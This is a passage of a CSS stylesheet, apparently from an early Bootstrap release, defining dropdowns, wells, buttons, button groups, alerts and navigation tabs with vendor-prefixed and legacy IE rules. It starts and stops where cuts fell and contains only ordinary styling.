4px solid #000000;\n  border-right: 4px solid transparent;\n  border-left: 4px solid transparent;\n  content: \"\";\n  opacity: 0.3;\n  filter: alpha(opacity=30);\n}\n\n.dropdown .caret {\n  margin-top: 8px;\n  margin-left: 2px;\n}\n\n.dropdown:hover .caret,\n.open .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: 1000;\n  display: none;\n  float: left;\n  min-width: 160px;\n  padding: 4px 0;\n  margin: 1px 0 0;\n  list-style: none;\n  background-color: #ffffff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  *border-right-width: 2px;\n  *border-bottom-width: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n     -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n  -webkit-background-clip: padding-box;\n     -moz-background-clip: padding;\n          background-clip: padding-box;\n}\n\n.dropdown-menu.pull-right {\n  right: 0;\n  left: auto;\n}\n\n.dropdown-menu .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.dropdown-menu a {\n  display: block;\n  padding: 3px 15px;\n  clear: both;\n  font-weight: normal;\n  line-height: 18px;\n  color: #333333;\n  white-space: nowrap;\n}\n\n.dropdown-menu li > a:hover,\n.dropdown-menu .active > a,\n.dropdown-menu .active > a:hover {\n  color: #ffffff;\n  text-decoration: none;\n  background-color: #0088cc;\n}\n\n.open {\n  *z-index: 1000;\n}\n\n.open > .dropdown-menu {\n  display: block;\n}\n\n.pull-right > .dropdown-menu {\n  right: 0;\n  left: auto;\n}\n\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n  border-top: 0;\n  border-bottom: 4px solid #000000;\n  content: \"\\2191\";\n}\n\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n  top: auto;\n  bottom: 100%;\n  margin-bottom: 1px;\n}\n\n.typeahead {\n  margin-top: 2px;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #eee;\n  border: 1px solid rgba(0, 0, 0, 0.05);\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, 0.15);\n}\n\n.well-large {\n  padding: 24px;\n  -webkit-border-radius: 6px;\n     -moz-border-radius: 6px;\n          border-radius: 6px;\n}\n\n.well-small {\n  padding: 9px;\n  -webkit-border-radius: 3px;\n     -moz-border-radius: 3px;\n          border-radius: 3px;\n}\n\n.fade {\n  opacity: 0;\n  -webkit-transition: opacity 0.15s linear;\n     -moz-transition: opacity 0.15s linear;\n      -ms-transition: opacity 0.15s linear;\n       -o-transition: opacity 0.15s linear;\n          transition: opacity 0.15s linear;\n}\n\n.fade.in {\n  opacity: 1;\n}\n\n.collapse {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  -webkit-transition: height 0.35s ease;\n     -moz-transition: height 0.35s ease;\n      -ms-transition: height 0.35s ease;\n       -o-transition: height 0.35s ease;\n          transition: height 0.35s ease;\n}\n\n.collapse.in {\n  height: auto;\n}\n\n.close {\n  float: right;\n  font-size: 20px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #000000;\n  text-shadow: 0 1px 0 #ffffff;\n  opacity: 0.2;\n  filter: alpha(opacity=20);\n}\n\n.close:hover {\n  color: #000000;\n  text-decoration: none;\n  cursor: pointer;\n  opacity: 0.4;\n  filter: alpha(opacity=40);\n}\n\nbutton.close {\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n  -webkit-appearance: none;\n}\n\n.btn {\n  display: inline-block;\n  *display: inline;\n  padding: 4px 10px 4px;\n  margin-bottom: 0;\n  *margin-left: .3em;\n  font-size: 13px;\n  line-height: 18px;\n  *line-height: 20px;\n  color: #333333;\n  text-align: center;\n  text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);\n  vertical-align: middle;\n  cursor: pointer;\n  background-color: #f5f5f5;\n  *background-color: #e6e6e6;\n  background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));\n  background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -o-linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: linear-gradient(top, #ffffff, #e6e6e6);\n  background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6);\n  background-repeat: repeat-x;\n  border: 1px solid #cccccc;\n  *border: 0;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  border-color: #e6e6e6 #e6e6e6 #bfbfbf;\n  border-bottom-color: #b3b3b3;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n  *zoom: 1;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn:hover,\n.btn:active,\n.btn.active,\n.btn.disabled,\n.btn[disabled] {\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n}\n\n.btn:active,\n.btn.active {\n  background-color: #cccccc \\9;\n}\n\n.btn:first-child {\n  *margin-left: 0;\n}\n\n.btn:hover {\n  color: #333333;\n  text-decoration: none;\n  background-color: #e6e6e6;\n  *background-color: #d9d9d9;\n  /* Buttons in IE7 don't get borders, so darken on hover */\n\n  background-position: 0 -15px;\n  -webkit-transition: background-position 0.1s linear;\n     -moz-transition: background-position 0.1s linear;\n      -ms-transition: background-position 0.1s linear;\n       -o-transition: background-position 0.1s linear;\n          transition: background-position 0.1s linear;\n}\n\n.btn:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\n.btn.active,\n.btn:active {\n  background-color: #e6e6e6;\n  background-color: #d9d9d9 \\9;\n  background-image: none;\n  outline: 0;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn.disabled,\n.btn[disabled] {\n  cursor: default;\n  background-color: #e6e6e6;\n  background-image: none;\n  opacity: 0.65;\n  filter: alpha(opacity=65);\n  -webkit-box-shadow: none;\n     -moz-box-shadow: none;\n          box-shadow: none;\n}\n\n.btn-large {\n  padding: 9px 14px;\n  font-size: 15px;\n  line-height: normal;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.btn-large [class^=\"icon-\"] {\n  margin-top: 1px;\n}\n\n.btn-small {\n  padding: 5px 9px;\n  font-size: 11px;\n  line-height: 16px;\n}\n\n.btn-small [class^=\"icon-\"] {\n  margin-top: -1px;\n}\n\n.btn-mini {\n  padding: 2px 6px;\n  font-size: 11px;\n  line-height: 14px;\n}\n\n.btn-primary,\n.btn-primary:hover,\n.btn-warning,\n.btn-warning:hover,\n.btn-danger,\n.btn-danger:hover,\n.btn-success,\n.btn-success:hover,\n.btn-info,\n.btn-info:hover,\n.btn-inverse,\n.btn-inverse:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary.active,\n.btn-warning.active,\n.btn-danger.active,\n.btn-success.active,\n.btn-info.active,\n.btn-inverse.active {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.btn {\n  border-color: #ccc;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n}\n\n.btn-primary {\n  background-color: #0074cc;\n  *background-color: #0055cc;\n  background-image: -ms-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0055cc));\n  background-image: -webkit-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -o-linear-gradient(top, #0088cc, #0055cc);\n  background-image: -moz-linear-gradient(top, #0088cc, #0055cc);\n  background-image: linear-gradient(top, #0088cc, #0055cc);\n  background-repeat: repeat-x;\n  border-color: #0055cc #0055cc #003580;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#0088cc', endColorstr='#0055cc', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-primary:hover,\n.btn-primary:active,\n.btn-primary.active,\n.btn-primary.disabled,\n.btn-primary[disabled] {\n  background-color: #0055cc;\n  *background-color: #004ab3;\n}\n\n.btn-primary:active,\n.btn-primary.active {\n  background-color: #004099 \\9;\n}\n\n.btn-warning {\n  background-color: #faa732;\n  *background-color: #f89406;\n  background-image: -ms-linear-gradient(top, #fbb450, #f89406);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));\n  background-image: -webkit-linear-gradient(top, #fbb450, #f89406);\n  background-image: -o-linear-gradient(top, #fbb450, #f89406);\n  background-image: -moz-linear-gradient(top, #fbb450, #f89406);\n  background-image: linear-gradient(top, #fbb450, #f89406);\n  background-repeat: repeat-x;\n  border-color: #f89406 #f89406 #ad6704;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-warning:hover,\n.btn-warning:active,\n.btn-warning.active,\n.btn-warning.disabled,\n.btn-warning[disabled] {\n  background-color: #f89406;\n  *background-color: #df8505;\n}\n\n.btn-warning:active,\n.btn-warning.active {\n  background-color: #c67605 \\9;\n}\n\n.btn-danger {\n  background-color: #da4f49;\n  *background-color: #bd362f;\n  background-image: -ms-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));\n  background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -o-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f);\n  background-image: linear-gradient(top, #ee5f5b, #bd362f);\n  background-repeat: repeat-x;\n  border-color: #bd362f #bd362f #802420;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-danger:hover,\n.btn-danger:active,\n.btn-danger.active,\n.btn-danger.disabled,\n.btn-danger[disabled] {\n  background-color: #bd362f;\n  *background-color: #a9302a;\n}\n\n.btn-danger:active,\n.btn-danger.active {\n  background-color: #942a25 \\9;\n}\n\n.btn-success {\n  background-color: #5bb75b;\n  *background-color: #51a351;\n  background-image: -ms-linear-gradient(top, #62c462, #51a351);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));\n  background-image: -webkit-linear-gradient(top, #62c462, #51a351);\n  background-image: -o-linear-gradient(top, #62c462, #51a351);\n  background-image: -moz-linear-gradient(top, #62c462, #51a351);\n  background-image: linear-gradient(top, #62c462, #51a351);\n  background-repeat: repeat-x;\n  border-color: #51a351 #51a351 #387038;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-success:hover,\n.btn-success:active,\n.btn-success.active,\n.btn-success.disabled,\n.btn-success[disabled] {\n  background-color: #51a351;\n  *background-color: #499249;\n}\n\n.btn-success:active,\n.btn-success.active {\n  background-color: #408140 \\9;\n}\n\n.btn-info {\n  background-color: #49afcd;\n  *background-color: #2f96b4;\n  background-image: -ms-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));\n  background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -o-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4);\n  background-image: linear-gradient(top, #5bc0de, #2f96b4);\n  background-repeat: repeat-x;\n  border-color: #2f96b4 #2f96b4 #1f6377;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-info:hover,\n.btn-info:active,\n.btn-info.active,\n.btn-info.disabled,\n.btn-info[disabled] {\n  background-color: #2f96b4;\n  *background-color: #2a85a0;\n}\n\n.btn-info:active,\n.btn-info.active {\n  background-color: #24748c \\9;\n}\n\n.btn-inverse {\n  background-color: #414141;\n  *background-color: #222222;\n  background-image: -ms-linear-gradient(top, #555555, #222222);\n  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#555555), to(#222222));\n  background-image: -webkit-linear-gradient(top, #555555, #222222);\n  background-image: -o-linear-gradient(top, #555555, #222222);\n  background-image: -moz-linear-gradient(top, #555555, #222222);\n  background-image: linear-gradient(top, #555555, #222222);\n  background-repeat: repeat-x;\n  border-color: #222222 #222222 #000000;\n  border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);\n  filter: progid:dximagetransform.microsoft.gradient(startColorstr='#555555', endColorstr='#222222', GradientType=0);\n  filter: progid:dximagetransform.microsoft.gradient(enabled=false);\n}\n\n.btn-inverse:hover,\n.btn-inverse:active,\n.btn-inverse.active,\n.btn-inverse.disabled,\n.btn-inverse[disabled] {\n  background-color: #222222;\n  *background-color: #151515;\n}\n\n.btn-inverse:active,\n.btn-inverse.active {\n  background-color: #080808 \\9;\n}\n\nbutton.btn,\ninput[type=\"submit\"].btn {\n  *padding-top: 2px;\n  *padding-bottom: 2px;\n}\n\nbutton.btn::-moz-focus-inner,\ninput[type=\"submit\"].btn::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\nbutton.btn.btn-large,\ninput[type=\"submit\"].btn.btn-large {\n  *padding-top: 7px;\n  *padding-bottom: 7px;\n}\n\nbutton.btn.btn-small,\ninput[type=\"submit\"].btn.btn-small {\n  *padding-top: 3px;\n  *padding-bottom: 3px;\n}\n\nbutton.btn.btn-mini,\ninput[type=\"submit\"].btn.btn-mini {\n  *padding-top: 1px;\n  *padding-bottom: 1px;\n}\n\n.btn-group {\n  position: relative;\n  *margin-left: .3em;\n  *zoom: 1;\n}\n\n.btn-group:before,\n.btn-group:after {\n  display: table;\n  content: \"\";\n}\n\n.btn-group:after {\n  clear: both;\n}\n\n.btn-group:first-child {\n  *margin-left: 0;\n}\n\n.btn-group + .btn-group {\n  margin-left: 5px;\n}\n\n.btn-toolbar {\n  margin-top: 9px;\n  margin-bottom: 9px;\n}\n\n.btn-toolbar .btn-group {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n}\n\n.btn-group > .btn {\n  position: relative;\n  float: left;\n  margin-left: -1px;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.btn-group > .btn:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 4px;\n          border-bottom-left-radius: 4px;\n  -webkit-border-top-left-radius: 4px;\n          border-top-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  -moz-border-radius-topleft: 4px;\n}\n\n.btn-group > .btn:last-child,\n.btn-group > .dropdown-toggle {\n  -webkit-border-top-right-radius: 4px;\n          border-top-right-radius: 4px;\n  -webkit-border-bottom-right-radius: 4px;\n          border-bottom-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  -moz-border-radius-bottomright: 4px;\n}\n\n.btn-group > .btn.large:first-child {\n  margin-left: 0;\n  -webkit-border-bottom-left-radius: 6px;\n          border-bottom-left-radius: 6px;\n  -webkit-border-top-left-radius: 6px;\n          border-top-left-radius: 6px;\n  -moz-border-radius-bottomleft: 6px;\n  -moz-border-radius-topleft: 6px;\n}\n\n.btn-group > .btn.large:last-child,\n.btn-group > .large.dropdown-toggle {\n  -webkit-border-top-right-radius: 6px;\n          border-top-right-radius: 6px;\n  -webkit-border-bottom-right-radius: 6px;\n          border-bottom-right-radius: 6px;\n  -moz-border-radius-topright: 6px;\n  -moz-border-radius-bottomright: 6px;\n}\n\n.btn-group > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group > .btn:active,\n.btn-group > .btn.active {\n  z-index: 2;\n}\n\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n  outline: 0;\n}\n\n.btn-group > .dropdown-toggle {\n  *padding-top: 4px;\n  padding-right: 8px;\n  *padding-bottom: 4px;\n  padding-left: 8px;\n  -webkit-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group > .btn-mini.dropdown-toggle {\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.btn-group > .btn-small.dropdown-toggle {\n  *padding-top: 4px;\n  *padding-bottom: 4px;\n}\n\n.btn-group > .btn-large.dropdown-toggle {\n  padding-right: 12px;\n  padding-left: 12px;\n}\n\n.btn-group.open .dropdown-toggle {\n  background-image: none;\n  -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n     -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n          box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);\n}\n\n.btn-group.open .btn.dropdown-toggle {\n  background-color: #e6e6e6;\n}\n\n.btn-group.open .btn-primary.dropdown-toggle {\n  background-color: #0055cc;\n}\n\n.btn-group.open .btn-warning.dropdown-toggle {\n  background-color: #f89406;\n}\n\n.btn-group.open .btn-danger.dropdown-toggle {\n  background-color: #bd362f;\n}\n\n.btn-group.open .btn-success.dropdown-toggle {\n  background-color: #51a351;\n}\n\n.btn-group.open .btn-info.dropdown-toggle {\n  background-color: #2f96b4;\n}\n\n.btn-group.open .btn-inverse.dropdown-toggle {\n  background-color: #222222;\n}\n\n.btn .caret {\n  margin-top: 7px;\n  margin-left: 0;\n}\n\n.btn:hover .caret,\n.open.btn-group .caret {\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.btn-mini .caret {\n  margin-top: 5px;\n}\n\n.btn-small .caret {\n  margin-top: 6px;\n}\n\n.btn-large .caret {\n  margin-top: 6px;\n  border-top-width: 5px;\n  border-right-width: 5px;\n  border-left-width: 5px;\n}\n\n.dropup .btn-large .caret {\n  border-top: 0;\n  border-bottom: 5px solid #000000;\n}\n\n.btn-primary .caret,\n.btn-warning .caret,\n.btn-danger .caret,\n.btn-info .caret,\n.btn-success .caret,\n.btn-inverse .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 0.75;\n  filter: alpha(opacity=75);\n}\n\n.alert {\n  padding: 8px 35px 8px 14px;\n  margin-bottom: 18px;\n  color: #c09853;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  background-color: #fcf8e3;\n  border: 1px solid #fbeed5;\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  line-height: 18px;\n}\n\n.alert-success {\n  color: #468847;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n\n.alert-danger,\n.alert-error {\n  color: #b94a48;\n  background-color: #f2dede;\n  border-color: #eed3d7;\n}\n\n.alert-info {\n  color: #3a87ad;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n\n.alert-block {\n  padding-top: 14px;\n  padding-bottom: 14px;\n}\n\n.alert-block > p,\n.alert-block > ul {\n  margin-bottom: 0;\n}\n\n.alert-block p + p {\n  margin-top: 5px;\n}\n\n.nav {\n  margin-bottom: 18px;\n  margin-left: 0;\n  list-style: none;\n}\n\n.nav > li > a {\n  display: block;\n}\n\n.nav > li > a:hover {\n  text-decoration: none;\n  background-color: #eeeeee;\n}\n\n.nav > .pull-right {\n  float: right;\n}\n\n.nav .nav-header {\n  display: block;\n  padding: 3px 15px;\n  font-size: 11px;\n  font-weight: bold;\n  line-height: 18px;\n  color: #999999;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n  text-transform: uppercase;\n}\n\n.nav li + .nav-header {\n  margin-top: 9px;\n}\n\n.nav-list {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-bottom: 0;\n}\n\n.nav-list > li > a,\n.nav-list .nav-header {\n  margin-right: -15px;\n  margin-left: -15px;\n  text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n\n.nav-list > li > a {\n  padding: 3px 15px;\n}\n\n.nav-list > .active > a,\n.nav-list > .active > a:hover {\n  color: #ffffff;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2);\n  background-color: #0088cc;\n}\n\n.nav-list [class^=\"icon-\"] {\n  margin-right: 2px;\n}\n\n.nav-list .divider {\n  *width: 100%;\n  height: 1px;\n  margin: 8px 1px;\n  *margin: -5px 0 5px;\n  overflow: hidden;\n  background-color: #e5e5e5;\n  border-bottom: 1px solid #ffffff;\n}\n\n.nav-tabs,\n.nav-pills {\n  *zoom: 1;\n}\n\n.nav-tabs:before,\n.nav-pills:before,\n.nav-tabs:after,\n.nav-pills:after {\n  display: table;\n  content: \"\";\n}\n\n.nav-tabs:after,\n.nav-pills:after {\n  clear: both;\n}\n\n.nav-tabs > li,\n.nav-pills > li {\n  float: left;\n}\n\n.nav-tabs > li > a,\n.nav-pills > li > a {\n  padding-right: 12px;\n  padding-left: 12px;\n  margin-right: 2px;\n  line-height: 14px;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #ddd;\n}\n\n.nav-tabs > li {\n  margin-bottom: -1px;\n}\n\n.nav-tabs > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  line-height: 18px;\n  border: 1px solid transparent;\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs > li > a:hover {\n  border-color: #eeeeee #eeeeee #dddddd;\n}\n\n.nav-tabs > .active > a,\n.nav-tabs > .active > a:hover {\n  color: #555555;\n  cursor: default;\n  background-color: #ffffff;\n  border: 1px solid #ddd;\n  border-bottom-color: transparent;\n}\n\n.nav-pills > li > a {\n  padding-top: 8px;\n  padding-bottom: 8px;\n  margin-top: 2px;\n  margin-bottom: 2px;\n  -webkit-border-radius: 5px;\n     -moz-border-radius: 5px;\n          border-radius: 5px;\n}\n\n.nav-pills > .active > a,\n.nav-pills > .active > a:hover {\n  color: #ffffff;\n  background-color: #0088cc;\n}\n\n.nav-stacked > li {\n  float: none;\n}\n\n.nav-stacked > li > a {\n  margin-right: 0;\n}\n\n.nav-tabs.nav-stacked {\n  border-bottom: 0;\n}\n\n.nav-tabs.nav-stacked > li > a {\n  border: 1px solid #ddd;\n  -webkit-border-radius: 0;\n     -moz-border-radius: 0;\n          border-radius: 0;\n}\n\n.nav-tabs.nav-stacked > li:first-child > a {\n  -webkit-border-radius: 4px 4px 0 0;\n     -moz-border-radius: 4px 4px 0 0;\n          border-radius: 4px 4px 0 0;\n}\n\n.nav-tabs.nav-stacked > li:last-child > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.nav-tabs.nav-stacked > li > a:hover {\n  z-index: 2;\n  border-color: #ddd;\n}\n\n.nav-pills.nav-stacked > li > a {\n  margin-bottom: 3px;\n}\n\n.nav-pills.nav-stacked > li:last-child > a {\n  margin-bottom: 1px;\n}\n\n.nav-tabs .dropdown-menu {\n  -webkit-border-radius: 0 0 5px 5px;\n     -moz-border-radius: 0 0 5px 5px;\n          border-radius: 0 0 5px 5px;\n}\n\n.nav-pills .dropdown-menu {\n  -webkit-border-radius: 4px;\n     -moz-border-radius: 4px;\n          border-radius: 4px;\n}\n\n.nav-tabs .dropdown-toggle .caret,\n.nav-pills .dropdown-toggle .caret {\n  margin-top: 6px;\n  border-top-color: #0088cc;\n  border-bottom-color: #0088cc;\n}\n\n.nav-tabs .dropdown-toggle:hover .caret,\n.nav-pills .dropdown-toggle:hover .caret {\n  border-top-color: #005580;\n  border-bottom-color: #005580;\n}\n\n.nav-tabs .active .dropdown-toggle .caret,\n.nav-pills .active .dropdown-toggle .caret {\n  border-top-color: #333333;\n  border-bottom-color: #333333;\n}\n\n.nav > .dropdown.active > a:hover {\n  color: #000000;\n  cursor: pointer;\n}\n\n.nav-tabs .open .dropdown-toggle,\n.nav-pills .open .dropdown-toggle,\n.nav > li.dropdown.open.active > a:hover {\n  color: #ffffff;\n  background-color: #999999;\n  border-color: #999999;\n}\n\n.nav li.dropdown.open .caret,\n.nav li.dropdown.open.active .caret,\n.nav li.dropdown.open a:hover .caret {\n  border-top-color: #ffffff;\n  border-bottom-color: #ffffff;\n  opacity: 1;\n  filter: alpha(opacity=100);\n}\n\n.tabs-stacked .open > a:hover {\n  border-color: #999999;\n}\n\n.tabbable {\n  *zoom: 1;\n}\n\n.tabbable:before,\n.tabbable:after {\n  display: table;\n  content: \"\";\n}\n\n.tabbable:after {\n  clear: both;\n}\n\n.tab-content {\n  overflow: auto;\n}\n\n.tabs-below > .nav-tabs,\n.tabs-right > .nav-tabs,\n.tabs-left > .nav-tabs {\n  border-bottom: 0;\n}\n\n.tab-content > .tab-pane,\n.pill-content > .pill-pane {\n  display: none;\n}\n\n.tab-content > .active,\n.pill-content > .active {\n  display: block;\n}\n\n.tabs-below > .nav-tabs {\n  border-top: 1px solid #ddd;\n}\n\n.tabs-below > .nav-tabs > li {\n  margin-top: -1px;\n  margin-bottom: 0;\n}\n\n.tabs-below > .nav-tabs > li > a {\n  -webkit-border-radius: 0 0 4px 4px;\n     -moz-border-radius: 0 0 4px 4px;\n          border-radius: 0 0 4px 4px;\n}\n\n.tabs-below > .nav-tabs > li > a:hover {\n  border-top-color: #ddd;\n  border-bottom-color: transparent;\n}\n\n.tabs-below > .nav-tabs > .active > a,\n.tabs-below > .nav-tabs > .active > a:hover {\n  border-color: transparent #ddd #ddd #ddd;\n}\n\n.tabs-left > .nav-tabs > li,\n.tabs-right > .nav-tabs > li {\n  float: none;\n}\n\n.tabs-left > .nav-tabs > li > a,\n.tabs-right > .nav-tabs > li > a {\n  min-width: 74px;\n  margin-right: 0;\n  margin-bottom: 3px;\n}\n\n.tabs-left > .nav-tabs {\n  float: left;\n  margin-right: 19px;\n  border-right: 1px solid #ddd;\n}\n\n.tabs-left > .nav-tabs > li > a {\n  margin-right: -1px;\n  -webkit-border-radius: 4px 0 0 4px;\n     -moz-border-radius: 4px 0 0 4px;\n          border-radius: 4px 0 0 4px;\n}\n\n.tabs-left > .nav-tabs > li > a:hover {\n  border-color: #eeeeee #dddddd #eeeeee #eeeeee;\n}\n\n.tabs-left > .nav-tabs .active > a,\n.tabs-left > .nav-tabs .active > a:hover {\n  border-color: #ddd transparent #ddd #ddd;\n  *border-right-color: #ffffff;\n}\n\n.tabs-right > .nav-tabs {\n  float: right;\n  margin-left: 19px;\n  border-left: 1px solid 